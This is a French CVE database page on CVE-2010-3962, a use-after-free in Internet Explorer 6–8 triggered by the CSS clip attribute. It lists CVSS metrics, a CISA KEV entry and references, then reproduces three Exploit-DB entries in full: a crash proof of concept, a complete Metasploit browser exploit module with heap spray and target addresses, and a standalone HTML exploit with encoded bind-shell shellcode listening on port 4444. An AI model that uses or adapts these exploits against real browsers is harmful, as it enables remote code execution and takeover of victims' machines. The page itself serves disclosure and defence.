CVE-2010-3962 : Détail

CVE-2010-3962

8.1
/
Haute
Memory Corruption
86.94%V4
Network
2010-11-05
16h28 +00:00
2025-10-22
00h05 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Use-after-free vulnerability in Microsoft Internet Explorer 6, 7, and 8 allows remote attackers to execute arbitrary code via vectors related to Cascading Style Sheets (CSS) token sequences and the clip attribute, aka an "invalid flag reference" issue or "Uninitialized Memory Corruption Vulnerability," as exploited in the wild in November 2010.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Internet Explorer Uninitialized Memory Corruption Vulnerability

Action requise : Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2025-10-05 22h00 +00:00

Action attendue : 2025-10-26 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15418

Date de publication : 2010-11-03 23h00 +00:00
Auteur : anonymous
EDB Vérifié : Yes

<html> <table style=position:absolute;clip:rect(0)> </html>
Exploit Database EDB-ID : 16551

Date de publication : 2011-01-19 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms10_090_ie_css_clip.rb 11610 2011-01-20 19:30:59Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "7.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer CSS SetUserClip Memory Corruption', 'Description' => %q{ Thie module exploits a memory corruption vulnerability within Microsoft's HTML engine (mshtml). When parsing an HTML page containing a specially crafted CSS tag, memory corruption occurs that can lead arbitrary code execution. It seems like Microsoft code inadvertantly increments a vtable pointer to point to an unaligned address within the vtable's function pointers. This leads to the program counter being set to the address determined by the address "[vtable+0x30+1]". The particular address depends on the exact version of the mshtml library in use. Since the address depends on the version of mshtml, some versions may not be exploitable. Specifically, those ending up with a program counter value within another module, in kernel space, or just not able to be reached with various memory spraying techniques. Also, since the address is not controllable, it is unlikely to be possible to use ROP to bypass non-executable memory protections. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # discovered in the wild '@yuange1975', # PoC posted to twitter 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], 'Version' => '$Revision: 11610 $', 'References' => [ [ 'CVE', '2010-3962' ], [ 'OSVDB', '68987' ], [ 'BID', '44536' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ], [ 'URL', 'http://www.exploit-db.com/exploits/15421/' ], [ 'MSB', 'MS10-090' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # # Special target, we put it first so its index doesn't change. # [ 'Debug', { 'Ret' => 0x00010101, # tiny spray, sure to crash :) } ], # # In the targets below, 'Ret' means where EIP ends up (not under our control) # [ 'Internet Explorer 6', { 'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ? #'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000 #'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000 } ], [ 'Internet Explorer 7', { 'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000 } ], # # Although IE8 is affected, we don't currently have a working target for it. # =begin [ 'Internet Explorer 8 on Windows 7', { #'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000 'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000 #'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000 } ] =end ], 'DisclosureDate' => 'Nov 3 2010', 'DefaultTarget' => 0)) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[2] # IE6 on NT, 2000, XP and 2003 elsif agent =~ /MSIE 7\.0/ mytarget = targets[3] # IE7 on XP and 2003 =begin elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/ mytarget = targets[4] # IE8 on Windows 7 =end else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) # Set the return\nops ret = Rex::Text.to_unescape(make_nops(4)) # Construct the javascript js = <<-EOS var memory = new Array(); function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { var index; var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } var retSlide = unescape("#{ret}"); while (retSlide.length < heapBlockSize) { retSlide += retSlide; } retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; } } var shellcode = unescape("#{shellcode}"); sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38)); document.write("<table style=position:absolute;clip:rect(0)>"); EOS opts = { 'Symbols' => { 'Variables' => %w{ shellcode retSlide payLoadSize memory index heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize heapBlockCnt }, 'Methods' => %w{ sprayHeap } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) #js.obfuscate() # Construct the final page html = <<-EOS <html> <body> <script language='javascript'> #{js} </script> </body> </html> EOS # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 15421

Date de publication : 2010-11-03 23h00 +00:00
Auteur : ryujin
EDB Vérifié : Yes

# Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962 # Tested on Windows XP SP3 IE6 IE7 IE8 # Coded by Matteo Memelli ryujin __at__ offsec.com # http://www.offensive-security.com/0day/ie-0day.txt # Thx to dookie __at__ offsec.com # notes : This is a quick and dirty exploit! No DEP/ASLR bypass here feel free to improve it <!-- Tested on IE6/IE7/IE8 XPSP3 quick and dirty sploit for CVE-2010-3962 zeroday Note: The EIP value at crash time is not controllable and depends on the exact version of the mshtml library used by IE; this means that the exploit is not universal for the IE versions indicated hereunder. A huge spray will probably be more successful on different versions of mshtml but will definetly slow down the exploitation. IE6 on XP SP2: mshtml.dll Version 6.0.2900.5512 EIP: 0x0D7DC9C9 IE6 on XP SP3: mshtml.dll Version 6.00.2900.6036 Patched 06Nov10 EIP: 0x0E7DC9CD IE7 on XP SP3: mshtml.dll Version 7.00.6000.17080 EIP: 0x303CEEBB IE8 on XP SP3: mshtml.dll Version 8.00.6001.18939 EIP: 0x1D3CF5BD IE8 on XP SP3 Patched 06Nov10: mshtml.dll Version 8.00.6001.18975 EIP: 0x4D3CF5BF Matteo Memelli, ryujin __at__ offsec.com thx to dookie __at__ offsec.com //--> <html> <head><title>poc CVE-2010-3962 zeroday</title> <script> function alloc(bytes, mystr) { // Bindshell on port 4444 var shellcode = unescape('%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b'+ '%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b'+ '%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34'+ '%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301'+ '%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a'+ '%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4'+ '%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7%u53db%u0268'+ '%u1100%u895c%u6ae6%u5610%u6857%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff%u53d5%u5753%u7468'+ '%u3bec%uffe1%u57d5%uc789%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389%u5757%u3157%u6af6%u5912'+ '%ue256%u66fd%u44c7%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650%u5656%u5646%u564e%u5356%u6856'+ '%ucc79%u863f%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd'+ '%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u41d5'); while (mystr.length< bytes) mystr += mystr; return mystr.substr(0, (bytes-6)/2) + shellcode; } </script> </head> <body> <script> alert('ph33r: click me'); var evil = new Array(); var FAKEOBJ = unescape("%u0d0d%u0d0d"); //FAKEOBJ = alloc(233120, FAKEOBJ); // IE6 mshtml.dll Version 6.0.2900.5512 //FAKEOBJ = alloc(241748, FAKEOBJ); // IE6 mshtml.dll Version 6.00.2900.6036 //FAKEOBJ = alloc(733120, FAKEOBJ); // IE7 mshtml.dll Version 7.00.6000.17080 //FAKEOBJ = alloc(433120, FAKEOBJ); // IE8 mshtml.dll Version 8.00.6001.18939 FAKEOBJ = alloc(1294464, FAKEOBJ); // IE8 mshtml.dll Version 8.00.6001.18975 //FAKEOBJ = alloc(1550371, FAKEOBJ); // oy oy oy huge spray! for (var k = 0; k < 1000; k++) { evil[k] = FAKEOBJ.substr(0, FAKEOBJ.length); } document.write("<table style=position:absolute;clip:rect(0)>"); </script> </body> </html>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Références

http://www.securityfocus.com/bid/44536
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA10-348A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.kb.cert.org/vuls/id/899748
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/42091
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/2880
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1024676
Tags : vdb-entry, x_refsource_SECTRACK
http://www.exploit-db.com/exploits/15421
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.exploit-db.com/exploits/15418
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.